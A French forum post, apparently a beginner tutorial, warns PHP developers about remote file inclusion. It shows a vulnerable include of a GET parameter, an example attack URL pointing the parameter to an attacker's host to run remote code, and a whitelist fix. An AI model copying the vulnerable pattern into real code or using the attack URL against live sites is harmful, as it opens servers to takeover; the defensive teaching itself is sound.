Mais pour bon nombre de webmaster, cette fonction est aussi associer a la faille "include".
C'est pour sa que j'ai créer ce topic, pour prévenir les débutant en php de ne pas tomber dans le piege qui pourait ravir les Hackers.
Exemple de faille include dans une page PHP:
Code : Tout sélectionner
$page = $_GET['page'];
include($page.".php");
Dans ce cas, le nom du fichier est récupérer puis le fichiet php est inclus et le script est exécuter par le serveur....
L'URL du site serait alors quelque chose comme:
- http://lesite.com/index.php?page=test
Mais imaginez qu'un internaute malveillant arrive sur votre site, et découvre que votre site comporte cette faille.... Il n'aurait plus qu'a ecrire ceci
- http://lesite.com/index.php?page=http://sonsite.com/hacking
voici un exemple de sécuriter que vous pouvez utiiser pour eviter cela:
Code : Tout sélectionner
$page = $_GET['page'];// On récupére le nom de la page
$securiter = array("test","test2"); //on fait un tableau des pages autoriser
for($i=0; ;$i++){ //On créer une boucle de vérification
if( $page == $securiter[$i])break;
if(empty($securiter[$i])) exit("Hacking stoppé"); }
include($page.".php"); //on inclus la page
Avec ça, on est certain que aucune autres pages viendrons perturber le bon fonctionnement de votre site internet














